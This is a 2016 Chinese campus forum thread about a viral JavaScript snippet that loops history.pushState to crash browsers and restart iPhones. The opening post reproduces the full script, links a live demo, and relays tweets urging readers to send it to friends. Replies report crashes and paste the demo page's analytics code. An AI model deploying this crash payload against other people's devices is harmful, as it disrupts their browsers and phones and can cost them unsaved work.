找回密码
 注册会员

QQ登录

只需一步,快速开始

活动信息平台 通过这个窗口,可以了解最新活动信息 发布活动 - 活动回顾

App下载 - 关注宁财 - 招生咨询 满足您不同的信息发布获取需求    二手 - 招聘 - 逛街 - 兼职 - 租房 - 活动

我的身份: 教师 - 学生 - 考生 - 新生 - 毕业校友 3D地图 - 校内电话 - 每日任务 - 活动回顾- 获取金币 团委 - 学生会 - 社团联合会 - 成绩查询 - 校园直播

查看: 4874|回复: 8

谁点谁怀孕?不怕死就来点,点完来没死回来留言

[复制链接]
发表于 2016年1月23日 10:50:22 | 显示全部楼层 |阅读模式
本帖最后由 Mascot 于 2016年1月23日 10:56 编辑


如果你很爱惜你的手机请不要往下看了
最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?

上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文:
[url=][/url]
“使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。

事实上,更早的时候,IT Security Tweets ™ @F1r3h4nd也发布类似的内容:
[url=][/url]
“把下面这个脚本链接发送给你的朋友,搞瘫他的浏览器,让他的iPhone重启。”
喏,就是下面这段代码:

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

  total= total+i.toString ();

  history.pushState (0,0,total);

}

</script>

</body>

</html>

还有人专门做成了链接:http://www.0xroot.cn/demo.html(不怕死的可以试试,请提前保存好浏览器内容)

网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。
为什么会这样呢?
有知乎网友给出这样的解答:
“history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”

程序员同学们,不妨在评论中讨论一下。


 楼主| 发表于 2016年1月23日 11:00:28 | 显示全部楼层
刚用PC实验了一下,chrome 打开那个网址,我12G的内存瞬间疯狂的从1.98G飙到8.98个G,然后chrome 崩溃了
来自iPhone客户端来自iPhone客户端
回复 赞 踩

使用道具 举报

发表于 2016年1月23日 11:14:14 | 显示全部楼层
10万太大了吧……闪退、重启是启动了保护机制。随便搞个死循环的程序都能实现吧……
来自Android客户端来自Android客户端
回复 赞 踩

使用道具 举报

 楼主| 发表于 2016年1月23日 11:28:41 | 显示全部楼层
Yoer 发表于 2016年1月23日 11:14
10万太大了吧……闪退、重启是启动了保护机制。随便搞个死循环的程序都能实现吧……

应该没到100000就崩溃了
来自iPhone客户端来自iPhone客户端
回复 赞 踩

使用道具 举报

发表于 2016年1月23日 11:36:52 | 显示全部楼层
Mascot 发表于 2016年1月23日 11:28
应该没到100000就崩溃了

达到一定值就启动保护机制了,有些代码执行的时候会提示该代码运行速度较慢,是否继续运行?
来自Android客户端来自Android客户端
回复 赞 踩

使用道具 举报

发表于 2016年1月24日 00:00:06 | 显示全部楼层
刚刚用IE打开试了下,看到有文字:恭喜你怀孕了。。。

然后被电脑管家拦截了,一直点继续访问一直弹出拦截窗口。。。。
回复 赞 踩

使用道具 举报

发表于 2016年1月29日 00:28:26 | 显示全部楼层
IE亲测没有弹出信息框
回复 赞 踩

使用道具 举报

发表于 2016年1月29日 00:31:14 | 显示全部楼层
;(function(global){
    global.Ta=global.Ta||{};
    Ta.hack=function(){
        return {
            params:'',
            conf:{sid:53391778,pf:1,logo:255,hot:{"url":"www.0xroot.cn/", "isValid":true}}        };
    };
})(this);

(function(g,n){function v(c){c+="";var a,b,d,e,h,f;d=c.length;b=0;for(a="";b<d;){e=c.charCodeAt(b++)&255;if(b==d){a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(e>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((e&3)<<4);a+="==";break}h=c.charCodeAt(b++);if(b==d){a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(e>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((e&3)<<4|(h&240)>>
4);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((h&15)<<2);a+="=";break}f=c.charCodeAt(b++);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(e>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((e&3)<<4|(h&240)>>4);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((h&15)<<2|(f&192)>>6);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(f&63)}return a}function p(c){return(c=
document.cookie.match(new RegExp("(?:^|;\\s)"+c+"=(.*?)(?:;\\s|$)")))?c[1]:""}function q(c,a,b){c=c+"="+a+";path=/;domain=";a=window.location.host;var d={"com.cn":1,"net.cn":1,"gov.cn":1,"com.hk":1,"co.nz":1,"org.cn":1,"edu.cn":1},e=a.split(".");2<e.length&&(a=(d[e.slice(-2).join(".")]?e.slice(-3):e.slice(-2)).join("."));document.cookie=c+a+(b?";expires="+b:"")}function l(c){var a,b,d,e={};void 0===c?(d=window.location,c=d.host,a=d.pathname,b=d.search.substr(1),d=d.hash)d=c.match(/\w+:\/\/((?:[\w-]+\.)+\w+)(?:\:\d+)?(\/[^\?\\\"\'\|\:<>]*)?(?:\?([^\'\"\\<>#]*))?(?:#(\w+))?/i)||
[],c=d[1],a=d[2],b=d[3],d=d[4]);if(b)for(var h=b.split("&"),f=0,g=h.length;f<g;f++)if(-1!=h[f].indexOf("=")){var m=h[f].indexOf("="),k=h[f].slice(0,m),m=h[f].slice(m+1);e[k]=m}return{host:c,path:a,search:b,hash:d,param:e}}function r(c){return(c||"")+Math.round(2147483647*(Math.random()||.5))*+new Date%1E10}function s(c,a){var b=document.createElement("script"),d=document.getElementsByTagName("script")[0];b.src=c;b.type="text/javascript";b.onload=b.onerror=b.onreadystatechange=function(){/loaded|complete|undefined/.test(b.readyState)&&
(b.onload=b.onerror=b.onreadystatechange=null,b.parentNode.removeChild(b),b=void 0,a())};d.parentNode.insertBefore(b,d)}function w(){var c=l(),a={dm:c.host,pvi:"",si:"",url:c.path,arg:encodeURIComponent(c.search||""),ty:1};a.pvi=function(){var b=p("pgv_pvi");b||(a.ty=0,b=r(),q("pgv_pvi",b,"Sun, 18 Jan 2038 00:00:00 GMT;"));return b}();a.si=function(){var a=p("pgv_si");a||(a=r("s"),q("pgv_si",a));return a}();return a}function x(){var c=l(document.referrer),a=l();return{rdm:c.host,rurl:c.path,rarg:encodeURIComponent(c.search||
""),adt:a.param.ADTAG||a.param.adtag}}function y(){try{var c=navigator,a=screen||{width:"",height:"",colorDepth:""},b=document.body,d=a.width+"x"+a.height,e=a.colorDepth+"-bit",h=(c.language||c.userLanguage).toLowerCase(),f=c.javaEnabled()?1:0,g=(new Date).getTimezoneOffset()/60,a="";b&&b.addBehavior&&(b.addBehavior("#default#clientCaps"),a=b.connectionType);var b={fl:"",scr:d,scl:e,lg:h,jv:f,tz:g,ct:a},m,k,l,n;if((m=c.plugins)&&(k=m.length))for(c=0;c<k;c++){if(l=m[c].description.match(/Shockwave Flash ([\d\.]+) \w*/))b.fl=
l[1]}else n=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version"),b.fl=n.replace(/^.*\s+(\d+)\,(\d+).*$/,"$1.$2")}catch(p){return{}}return b}function z(){var c={};if("undefined"!=typeof _taadHolders&&0<_taadHolders.length)for(var a=0,b=_taadHolders,d=b.length;a<d;a++)c[b[a]]=c[b[a]]?c[b[a]]+1:1;var a=[],e;for(e in c)c.hasOwnProperty(e)&&a.push(e+"*"+c[e]);return{ext:"adid="+a.join(":")}}function A(){var c=[],a;for(a in k){var b=p(k[a].c_id),d;"afs"==a?d=(d=/ssid=([^&]*)/i.exec(l().hash))&&
d[1]?d[1]:""d=l().param,d=d[k[a].id]?d[k[a].id]:"");d?(c.push("ty="+k[a].key+";ck=0;id="+d),b=new Date,b.setTime(b.getTime()+2592E6),q(k[a].c_id,d,b.toGMTString())):b&&c.push("ty="+k[a].key+";ck=1;id="+b)}return{pf:c.join("|")}}function t(c){c=c||{};c.conf&&function(){var a=c.conf,b;for(b in a)a.hasOwnProperty(b)&&(g[b]=a[b])}();if(g.sid&&!Ta[g.sid]){for(var a=[],b=0,d=[w(),x(),{r2:g.sid,r3:"undefined"==typeof _speedMark?"-1":new Date-_speedMark,r4:g.pf||1},y(),z(),A(),{random:+new Date}],e=d.length;b<
e;b++)for(var h in d[b])d[b].hasOwnProperty(h)&&a.push(h+"="+(d[b][h]||""));c.params&&a.push(c.params);var a=Ta.src=("https:"==document.location.protocol?"https://pingtas":"http://pingtcss")+".qq.com/pingd?"+a.join("&"),f=new Image;Ta[g.sid]=f;f.onload=f.onerror=f.onabort=function(){f=f.onload=f.onerror=f.onabort=null;Ta[g.sid]=!0};f.src=a;(1*!g.pf||g.hot.isValid)&&B(a);g.logo&&255!=g.logo&&C(g.logo)}}function u(c,a){var b=Ta.src.replace(/ext=[^&]*/,function(){return"ext="+("evtid"==a?"ty=0;evtid=":
"clickid"==a?"ty=1;clickid=":"adid=")+c}).replace(/r2=([^&]*)/,function(b,c){return"r2="+("clickid"==a?"b":"a")+c});(new Image(1,1)).src=b}function B(c){var a=window.location,b=a.host+a.pathname,d=a.pathname,e=function(){s(("https:"==document.location.protocol?"https://":"http://")+"tajs.qq.com/ping_hotclick_min.js",function(){window.hotclick&&(new hotclick(c)).watchClick()})};1*g.pf?(new RegExp(b)).test(g.hot.url)&&e()a=g.sid,s("http://tcss.qq.com/heatmap/"+a%100+"/"+v(a)+".js?random="+ +new Date,
function(){var a;if(window._Cnf&&(a=window._Cnf.url)){a=a.split("|");for(var b=0;b<a.length;b++)if(a[b]==d){e();break}}}))}function C(c){var a={9:"\u817e\u8baf\u5206\u6790",10:"\u7f51\u7ad9\u7edf\u8ba1",df:'<img src="'+(("https:"==document.location.protocol?"https:":"http:")+"//tajs.qq.com/icon/toss_"+c+".gif")+'" border="0" />'};document.write(['<a href="http://ta.qq.com?ADTAG=FROUM.FOOTER.CLICK.ICON" title="\u817e\u8baf\u5206\u6790" target="_blank">',a[c]||a.df,"</a>"].join(""))}var k={afs:{key:1,
id:"ssid",c_id:"pgv_afsid",fr:"hash"},afc:{key:2,id:"__tacid",c_id:"pgv_afcid",fr:"param"},gdt:{key:11,id:"qz_gdt",c_id:"pgv_gdtid",fr:"param"}};n.taClick=u;n.Ta=n.Ta||{};Ta.pgv=t;!Ta.async&&t(Ta.hack?Ta.hack():"")})({sid:"",pf:"",hot:{url:"",isValid:!1}},this);

最主要的是我在这个HTML网页中看见了另一串JS代码
回复 赞 踩

使用道具 举报

发表于 2016年11月4日 06:50:54 | 显示全部楼层
打开了,页面显示:恭喜你,你已经怀孕了!
来自Android客户端来自Android客户端
温馨提示:发帖时输入的内容丢失,可重新进入发帖页面,尝试发帖框右下角的“恢复数据”功能吧。
回复 赞 踩

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

关闭

推荐消息上一条 /2 下一条

关于我们|联系我们|加入我们|广告服务|隐私保护|加盟合作|手机版|大红鹰校友网 ( 浙ICP备11050206号-3|浙公网安备 33028102000517号 )

GMT+8, 2026年11月4日 02:10

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表